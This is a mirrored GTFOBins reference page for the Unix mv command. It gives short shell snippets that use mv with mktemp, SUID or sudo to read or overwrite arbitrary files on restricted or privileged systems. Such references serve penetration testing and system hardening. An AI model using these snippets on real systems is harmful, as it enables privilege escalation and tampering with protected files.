1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/mv.md
2018-09-03 21:40:09 +01:00

645 B

description functions
This can be used to move and then read or write files from a restricted file systems or with elevated privileges.
file-write file-read suid-enabled sudo-enabled
code
LFILE=file_to_write TF=$(mktemp) echo "DATA" > $TF mv $TF $LFILE
code
LFILE=file_to_read TF=$(mktemp) mv $LFILE $TF cat $TF
code
LFILE=file_to_write TF=$(mktemp) echo "DATA" > $TF ./mv $TF $LFILE
code
LFILE=file_to_write TF=$(mktemp) echo "DATA" > $TF sudo mv $TF $LFILE